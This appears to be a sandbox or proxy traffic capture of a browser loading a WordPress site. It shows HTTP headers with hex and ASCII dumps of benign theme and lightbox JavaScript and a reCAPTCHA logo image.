2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6c 6c 3b 74 72 79 7b 6b 28 29 7d 63 61 74 63 68 28 6c 29 7b 74 68 69 73 2e 6f 28 6c 29 7d 7d 7d 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 3b 0a 63 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 6a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 67 3b 7d 29 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 6c 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6b 7c 7c 28 6b 3d 21 30 2c 6c 2e 63 61 6c 6c 28 68 2c 6d 29 29 7d 7d 0a 76 61 72 20 68 3d 74 68 69 73 2c 6b 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 67 28 74 68 69 73 2e 55 29 2c 72 65 6a 65 63 74 3a 67 28 74 68 69 73 2e 6a 29 7d 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 Data Ascii: ll;try{k()}catch(l){this.o(l)}}}this.h=null};c.prototype.o=function(g){this.j(function(){throw g;})};b.prototype.i=function(){function g(l){return function(m){k\|\|(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.U),reject:g(this.j)}};b.prototy
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 2e 61 62 3b 72 65 74 75 72 6e 20 6b 28 67 29 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 44 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 68 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 67 3d 30 3b 67 3c 74 68 69 73 2e 68 2e 6c 65 6e 67 74 68 3b 2b 2b 67 29 66 2e 69 28 74 68 69 73 2e 68 5b 67 5d 29 3b 74 68 69 73 2e 68 3d 6e 75 6c 6c 7d 7d 3b 0a 76 61 72 20 66 3d 6e 65 77 20 63 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 69 28 29 3b 67 2e 69 63 28 68 2e 72 65 73 6f 6c 76 65 2c 68 2e 72 65 6a 65 63 74 29 7d 3b 0a 62 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 69 28 29 3b 74 72 79 7b 67 2e 63 61 6c Data Ascii: .ab;return k(g)};b.prototype.D=function(){if(this.h!=null){for(var g=0;g<this.h.length;++g)f.i(this.h[g]);this.h=null}};var f=new c;b.prototype.Z=function(g){var h=this.i();g.ic(h.resolve,h.reject)};b.prototype.ha=function(g,h){var k=this.i();try{g.cal
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6b 29 7b 6b 3d 7a 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 7d 0a 66 75 6e 63 74 69 6f 6e 20 64 28 6b 29 7b 76 61 72 20 6c 3d 74 79 70 65 6f 66 20 6b 3b 72 65 74 75 72 6e 20 6c 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 6b 21 3d 3d 6e 75 6c 6c 7c 7c 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 28 6b 29 7b 69 66 28 21 74 61 28 6b 2c 67 29 29 7b 76 61 72 20 6c 3d 6e 65 77 20 63 3b 64 61 28 6b 2c 67 2c 7b 76 61 6c 75 65 3a 6c 7d 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 66 28 6b 29 7b 76 61 72 20 6c 3d 4f 62 6a 65 63 74 5b 6b 5d 3b 6c 26 26 Data Ascii: k){k=z(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}}function c(){}function d(k){var l=typeof k;return l==="object"&&k!==null\|\|l==="function"}function e(k){if(!ta(k,g)){var l=new c;da(k,g,{value:l})}}function f(k){var l=Object[k];l&&
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6e 22 3f 66 2e 68 61 73 28 6b 29 3f 6c 3d 66 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 67 2c 66 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 68 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 74 61 28 68 5b 30 5d 2c 6c 29 29 66 6f 72 28 68 3d 30 3b 68 3c 6d 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 6e 3d 6d 5b 68 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 6e 2e 6b 65 79 21 3d 3d 6e 2e 6b 65 79 7c 7c 6b 3d 3d 3d 6e 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 68 2c 65 6e 74 72 79 3a 6e 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 2d 31 2c 65 6e 74 72 79 3a 76 6f 69 64 20 30 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 28 68 29 7b 74 68 69 73 5b 30 Data Ascii: n"?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h[0][l];if(m&&ta(h[0],l))for(h=0;h<m.length;h++){var n=m[h];if(k!==k&&n.key!==n.key\|\|k===n.key)return{id:l,list:m,index:h,entry:n}}return{id:l,list:m,index:-1,entry:void 0}}function e(h){this[0
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 70 72 65 76 69 6f 75 73 3d 62 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 0a 65 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 68 29 2e 65 6e 74 72 79 7d 3b 0a 65 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 28 68 3d 64 28 74 68 69 73 2c 68 29 2e 65 6e 74 72 79 29 26 26 68 2e 76 61 6c 75 65 7d 3b 0a 65 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 5b 68 2e 6b 65 79 2c 68 2e 76 61 6c 75 65 5d 7d 29 7d 3b 0a 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 Data Ascii: [1]=this[1].previous=b();this.size=0};e.prototype.has=function(h){return!!d(this,h).entry};e.prototype.get=function(h){return(h=d(this,h).entry)&&h.value};e.prototype.entries=function(){return c(this,function(h){return[h.key,h.value]})};e.prototype.ke

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	593	OUT	GET /wp-content/plugins/wp-lightbox-2/js/dist/wp-lightbox-2.min.js?ver=1.3.4.1 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:31 UTC	297	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 11 Oct 2022 14:53:40 GMT ETag: "4557-5eac3711bc891" Accept-Ranges: bytes Content-Length: 17751 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:31 UTC	7895	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 5f 72 65 61 64 4f 6e 6c 79 45 72 72 6f 72 28 61 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 5c 22 22 2b 61 2b 22 5c 22 20 69 73 20 72 65 61 64 2d 6f 6e 6c 79 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 63 6c 61 73 73 43 61 6c 6c 43 68 65 63 6b 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 2c 64 3d 30 3b 64 3c 62 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 63 3d 62 5b Data Ascii: "use strict";function _readOnlyError(a){throw new Error("\""+a+"\" is read-only")}function _classCallCheck(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function _defineProperties(a,b){for(var c,d=0;d<b.length;d++)c=b[
2025-03-17 12:02:31 UTC	8000	IN	Data Raw: 6e 67 73 2e 6e 65 78 74 4c 69 6e 6b 54 65 78 74 2b 22 3c 2f 61 3e 22 29 29 2c 63 3d 64 2b 63 2b 65 2b 66 2b 67 2c 22 22 21 3d 63 26 26 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6e 75 6d 62 65 72 44 69 73 70 6c 61 79 22 29 26 26 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6e 75 6d 62 65 72 44 69 73 70 6c 61 79 22 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 63 2c 74 68 69 73 2e 68 65 6c 70 65 72 2e 73 68 6f 77 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6e 75 6d 62 65 72 44 69 73 70 6c 61 79 22 29 29 29 7d 7d 2c 7b 6b 65 79 3a 22 73 68 6f 77 4e 61 76 69 67 61 74 69 6f 6e 45 6c 65 6d 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 4e 61 76 Data Ascii: ngs.nextLinkText+"</a>")),c=d+c+e+f+g,""!=c&&document.getElementById("numberDisplay")&&(document.getElementById("numberDisplay").innerHTML=c,this.helper.show(document.getElementById("numberDisplay")))}},{key:"showNavigationElements",value:function showNav
2025-03-17 12:02:31 UTC	1856	IN	Data Raw: 23 6f 76 65 72 6c 61 79 22 29 2e 68 69 64 65 28 29 2e 63 73 73 28 7b 77 69 64 74 68 3a 65 2e 70 61 67 65 44 6f 63 75 6d 65 6e 74 57 69 64 74 68 2b 22 70 78 22 2c 68 65 69 67 68 74 3a 65 2e 70 61 67 65 44 6f 63 75 6d 65 6e 74 48 65 69 67 68 74 2b 22 70 78 22 2c 6f 70 61 63 69 74 79 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 6f 76 65 72 6c 61 79 4f 70 61 63 69 74 79 7d 29 2e 66 61 64 65 49 6e 28 34 30 30 29 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 69 73 49 45 38 26 26 34 30 39 36 3d 3d 65 2e 70 61 67 65 44 6f 63 75 6d 65 6e 74 48 65 69 67 68 74 26 26 31 65 33 3c 3d 66 2e 79 53 63 72 6f 6c 6c 26 26 28 67 3d 66 2e 79 53 63 72 6f 6c 6c 2d 31 65 33 2c 30 3e 65 2e 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 48 65 69 67 68 74 2d 28 66 2e 79 53 63 72 6f 6c 6c 2b 33 30 39 Data Ascii: #overlay").hide().css({width:e.pageDocumentWidth+"px",height:e.pageDocumentHeight+"px",opacity:this.config.overlayOpacity}).fadeIn(400),this.config.isIE8&&4096==e.pageDocumentHeight&&1e3<=f.yScroll&&(g=f.yScroll-1e3,0>e.documentScrollHeight-(f.yScroll+309

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:31 UTC	631	OUT	GET /wp-content/themes/rubbersoul/js/navigation.js?ver=20140711 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
2025-03-17 12:02:31 UTC	295	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 17 Mar 2019 09:04:29 GMT ETag: "641-584468f3937ca" Accept-Ranges: bytes Content-Length: 1601 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:31 UTC	1601	IN	Data Raw: 2f 2a 2a 0d 0a 20 2a 20 48 61 6e 64 6c 65 73 20 74 6f 67 67 6c 69 6e 67 20 74 68 65 20 6e 61 76 69 67 61 74 69 6f 6e 20 6d 65 6e 75 20 66 6f 72 20 73 6d 61 6c 6c 20 73 63 72 65 65 6e 73 20 61 6e 64 0d 0a 20 2a 20 61 63 63 65 73 73 69 62 69 6c 69 74 79 20 66 6f 72 20 73 75 62 6d 65 6e 75 20 69 74 65 6d 73 2e 0d 0a 20 2a 2f 0d 0a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 76 61 72 20 6e 61 76 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 27 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 27 20 29 2c 20 62 75 74 74 6f 6e 2c 20 6d 65 6e 75 3b 0d 0a 09 69 66 20 28 20 21 20 6e 61 76 20 29 20 7b 0d 0a 09 09 72 65 74 75 72 6e 3b 0d 0a 09 7d 0d 0a 0d 0a 09 62 75 74 74 6f 6e 20 3d 20 6e 61 76 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: /** * Handles toggling the navigation menu for small screens and * accessibility for submenu items. */( function() {var nav = document.getElementById( 'site-navigation' ), button, menu;if ( ! nav ) {return;}button = nav.getElemen

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:31 UTC	646	OUT	GET /wp-content/themes/rubbersoul/js/rubbersoul-scripts-functions.js?ver=2.3.0 HTTP/1.1 Host: www.teubes.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0
2025-03-17 12:02:32 UTC	295	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 12:02:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 17 Mar 2019 09:04:29 GMT ETag: "60d-584468f39476a" Accept-Ranges: bytes Content-Length: 1549 Vary: Accept-Encoding Content-Type: application/javascript
2025-03-17 12:02:32 UTC	1549	IN	Data Raw: 2f 2a 0d 0a 20 2a 20 52 75 62 62 65 72 53 6f 75 6c 20 73 63 72 69 70 74 73 0d 0a 20 2a 20 47 61 6c 75 73 73 6f 54 68 65 6d 65 73 0d 0a 20 2a 2f 0d 0a 0d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 0d 0a 09 6a 51 75 65 72 79 28 22 2e 73 65 61 72 63 68 2d 74 6f 70 2d 62 61 72 20 23 62 74 6e 2d 73 65 61 72 63 68 22 29 2e 68 69 64 65 28 29 3b 0d 0a 0d 0a 09 6a 51 75 65 72 79 28 22 2e 74 6f 67 67 6c 65 2d 73 65 61 72 63 68 22 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 6a 51 75 65 72 79 28 22 2e 77 72 61 70 70 65 72 2d 73 65 61 72 63 68 2d 74 6f 70 2d 62 61 72 22 29 2e 74 6f 67 67 6c 65 28 29 3b 0d 0a 09 09 6a 51 75 65 72 79 28 22 2e 77 72 61 70 70 65 72 2d 73 65 Data Ascii: /* * RubberSoul scripts * GalussoThemes */jQuery(document).ready(function() {jQuery(".search-top-bar #btn-search").hide();jQuery(".toggle-search").click(function() {jQuery(".wrapper-search-top-bar").toggle();jQuery(".wrapper-se

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:32 UTC	730	OUT	GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.teubes.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 12:02:32 UTC	778	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/recaptcha Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="recaptcha" Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Content-Length: 18160 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 17 Mar 2025 11:31:31 GMT Expires: Mon, 17 Mar 2025 12:21:31 GMT Cache-Control: public, max-age=3000 Age: 1861 Last-Modified: Wed, 29 Jul 2020 17:15:00 GMT Content-Type: image/png Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-17 12:02:32 UTC	612	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 98 00 00 01 d0 08 06 00 00 00 9c 30 7c 54 00 00 46 b7 49 44 41 54 78 da ec 9d 5b 6c 5c 47 19 c7 47 71 5b 01 6a cb 03 2d a8 d9 99 b3 be a4 b5 89 51 aa 62 89 e4 cc cc 3a de 3d 9b 4b 9b 36 40 23 4b 50 de 00 55 08 21 28 42 26 21 e5 c1 69 bc 17 97 ab a0 8a 6a 10 42 bd 24 3e 67 f6 ec da 25 14 28 0d 75 02 0f 48 08 54 a4 92 aa e4 a1 94 92 50 35 71 13 db bb 67 77 bd 89 bd cc d9 d8 84 48 ae 62 3b de 62 ef f9 ff a4 bf 66 bd 96 fc 64 9d 9f e6 fb be 33 43 00 00 00 00 b0 42 f4 f7 57 d7 59 df cd 6f 8c a7 bc 87 63 e9 d2 3e 6b a0 f0 4d 24 78 89 0e 4c ec df fa e8 78 22 f2 ad 7f ff 40 f6 9d 3e c4 fb 4e ff 5c c7 16 7d 6f 3e 27 fa ce fc 5a ec 3d f3 62 64 ef 5b 63 91 fd 67 8f 77 ec 39 7e 94 f2 e1 0c 13 ea b0 21 9d a7 0c Data Ascii: PNGIHDR0\|TFIDATx[l\GGq[j-Qb:=K6@#KPU!(B&!ijB$>g%(uHTP5qgwHb;bfd3CBWYoc>kM$xLx"@>N\}o>'Z=bd[cgw9~!
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: af 32 d3 dd d1 12 55 ed d4 54 ef 27 00 80 d5 df 8f f1 25 63 f9 92 49 43 32 c8 bb 08 e6 c1 13 57 04 53 f7 a8 ab 76 3f ec bf e2 c9 4d 50 91 7b 5b 7f f7 37 26 ec 17 b4 74 9e 08 0b f5 85 70 c4 fe f8 86 88 ba 9d 00 00 56 e3 4e 46 35 f5 a4 4a cd ba 16 ff 1d 2b 35 3d 6e 25 bd c0 3f 54 91 b9 24 97 2e 98 fa 8b 47 4b 87 bb 15 26 b3 05 2d 9e f3 fa bb 33 3a 27 28 b7 87 18 b7 bf dc 12 cd dd 7d 9b f8 d9 2d 04 00 b0 7a 76 32 b1 83 13 6d b1 54 e1 fb 56 aa 52 84 64 90 5a 92 de 0a 08 a6 fe e2 61 7e 8f 47 8e 78 7a bd 10 e2 ea 4d fd fd 4b 54 b8 07 98 50 bb 9b b7 0c 37 13 00 c0 ea e8 c9 58 e9 e2 68 3c 7d d1 83 64 90 9a 60 0e 4e 55 3b 3e 7d 7c 5e 30 6b 23 22 53 31 e4 c8 94 5e cf 69 d1 bc c2 b8 33 4c fd 72 9a 39 7c 4f 73 cf d8 fb 08 00 e0 ff 53 2e 8b 3e 56 b9 3b fe 78 79 34 9e Data Ascii: 2UT'%cIC2WSv?MP{[7&tpVNF5J+5=n%?T$.GK&-3:'(}-zv2mTVRdZa~GxzMKTP7Xh<}d`NU;>}\|^0k#"S1^i3Lr9\|OsS.>V;xy4
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: 1c c7 eb a1 05 b5 50 2f 22 24 33 bb c9 f6 66 11 c1 1e da 9d d9 6d b3 ef 4d a3 a9 88 62 0d 68 11 73 2b ea ad 08 4a f1 90 25 ec bc 97 58 4f 95 1e 8a 27 2d 68 f6 cd 26 22 82 7f ea 41 14 a4 28 f1 4f 63 d3 d2 7a 10 5b 28 36 91 98 ec ee bc 9d cd a6 19 67 77 b3 61 b5 08 ad 79 49 76 77 be 1f f8 5e e7 f8 3e bc f9 fe de 7b c8 5d 24 62 4e 96 75 23 7b 3e 7a 50 c4 db fa b7 58 b0 73 e9 8e 8b cb 0d b9 40 30 40 a9 64 68 26 3f 44 79 e9 37 82 5d 4c 8b 0a e6 b3 d0 2f e6 2d 9b e4 c4 b2 66 e4 ae 44 8d ec 91 76 94 4b 57 fc ac a1 19 ce 74 a3 73 81 60 80 32 06 d3 33 3b fa 32 c5 21 62 97 7e 21 4c 56 42 bf a0 b7 a8 60 62 10 4c 6b c7 74 aa bd cc 5c 4f d2 39 a1 c5 c5 bd 6d d3 b9 90 da ce e5 92 b6 ba 73 81 60 80 42 b9 f8 3b a9 5d 3c 61 71 ef 77 ca dd 95 d0 2f e6 10 0c b2 9e 98 a2 fa Data Ascii: P/"$3fmMbhs+J%XO'-h&"A(Ocz[(6gwayIvw^>{]$bNu#{>zPXs@0@dh&?Dy7]L/-fDvKWts`23;2!b~!LVB`bLkt\O9ms`B;]<aqw/
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: 44 40 08 11 51 54 b5 bc 20 a8 2a fa 00 02 2a f5 01 26 b1 cf 99 49 82 80 52 2e 02 a9 05 71 49 76 67 d7 01 04 08 68 41 a8 20 48 69 10 f0 82 40 50 89 a2 f0 40 44 c1 8e e7 ba 8e ed e9 99 43 56 aa 2a 23 bc f6 da 3b 76 fe 3f e9 af 5d c9 6f 5e ef f9 f9 fb be 73 ce b4 4a d6 1a 1b f0 af d9 e0 36 3e 64 6e 82 05 15 99 4a 30 a8 60 10 08 06 b4 0e 13 fe 6a ea c4 bb 98 88 27 a8 08 b0 a0 22 53 b5 c8 50 c1 20 10 0c 68 8d b2 9d 9e 40 79 f0 7b ca a3 af a5 64 b0 98 22 68 91 21 10 0c 68 0f 4c 84 9b a9 93 bc c7 1c b4 c6 10 08 06 81 60 40 9b a0 83 f1 0a 4b 84 8f 51 11 1d c2 75 30 08 04 83 40 30 a0 2d 6c 7a e0 b3 63 ca 83 fe 6f 98 93 7c c1 d0 1a 43 20 18 04 82 01 ed 82 39 e1 c5 54 24 2f 61 ee 82 40 30 08 04 03 da 38 d8 1f 3e 85 89 70 2b 13 c9 41 9c 79 41 a6 2b 98 73 af 78 35 25 Data Ascii: D@QT *&IR.qIvghA Hi@P@DCV#;v?]o^sJ6>dnJ0`j'"SP h@y{d"h!hL`@KQu0@0-lzco\|C 9T$/a@08>p+AyA+sx5%
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: cd 76 59 5e 04 43 07 46 a8 12 cc 22 20 7b f4 73 b6 cb 0c 5b 99 21 18 30 0d 2e 77 e2 95 59 0b 86 89 70 02 5b 93 3b 1c 11 1e 96 4b f2 26 e5 e1 45 5b bc 96 17 65 d5 2e a3 4e fc 76 53 32 39 98 c1 48 c1 f8 8b 45 30 4d c9 1c 47 f4 ea 63 78 c0 19 04 03 7e 00 53 8c 5e 65 39 c9 fb 18 ee 77 5e 2e 6a e6 c2 a3 ba 65 27 67 17 6c bb ab 30 23 9a 33 99 b8 39 93 e9 74 05 13 98 5b 47 98 12 cc 22 62 6d b6 95 d9 a8 ed 94 99 84 64 20 18 30 05 e5 87 d2 13 28 f7 ef 66 3c c2 70 bf 93 11 91 8a 29 82 3f 96 ed d1 d3 0b b3 47 b5 cb 4c 1e be 65 b9 87 d4 4c a6 a3 82 e1 81 12 cc 62 dc 7d 49 8a 95 3b 88 51 1b c7 36 66 08 06 fc 1f 8c 07 6b 2c 11 0d 51 07 cf db ef e4 7f f9 b2 d2 98 90 ef ef 2f db c3 a7 b4 f5 f3 bd 47 49 a6 39 93 81 60 e6 08 4d af dc a6 19 f5 31 9c fc 87 60 c0 61 d2 34 5d Data Ascii: vY^CF" {s[!0.wYp[;K&E[e.NvS29HE0MGcx~S^e9w^.je'gl0#39t[G"bmd 0(f<p)?GLeLb}I;Q6fk,Q/GI9`M1`a4]
2025-03-17 12:02:32 UTC	1390	IN	Data Raw: e7 49 5d 97 1d a9 60 9a 46 0a 46 cb e5 1d 25 97 ca 0f dd 7d 90 0b 04 93 5e f4 10 1d f5 9a ef 63 b9 65 82 c1 3e 0f 6a d1 87 54 07 fb 29 c5 7e 3e 0a fe 03 9d c9 9c 8c 60 28 13 77 9b 26 98 ae 05 3a 73 d9 85 cc 05 82 49 3d c4 11 8b a9 d7 f8 02 82 49 ee 8d 17 ca e4 06 aa 1f 10 4b 37 77 3e df ce 64 5a 13 10 cc 24 72 e9 1b 46 e6 02 c1 98 b1 9e bf c0 c4 43 94 05 fb 21 98 24 aa 97 20 b4 59 50 25 83 ad 52 8f 9a 35 ca 18 00 8d 32 19 47 7c 79 5c c9 44 95 9d 16 4c c3 18 c1 64 73 95 59 c8 5c 20 18 63 b8 8b 87 17 13 b7 ee 10 2e 6b 68 51 4e 26 7b a1 4c 8e 50 16 5e 62 58 ae a7 24 53 d7 99 cc e4 82 91 4d e2 89 c5 5a 30 06 04 fa dd f9 ca 77 c8 5c 20 18 63 b8 7d b0 7a 3d 71 e5 3a ec 1f 8b fd b4 ff d0 ab d4 6d 14 75 f5 62 18 0b d7 2a c9 b8 62 3b f5 c6 5b 93 5c 91 8d 1f 11 4c Data Ascii: I]`FF%}^ce>jT)~>`(w&:sI=IK7w>dZ$rFC!$ YP%R52G\|y\DLdsY\ c.khQN&{LP^bX$SMZ0w\ c}z=q:mub*b;[\L
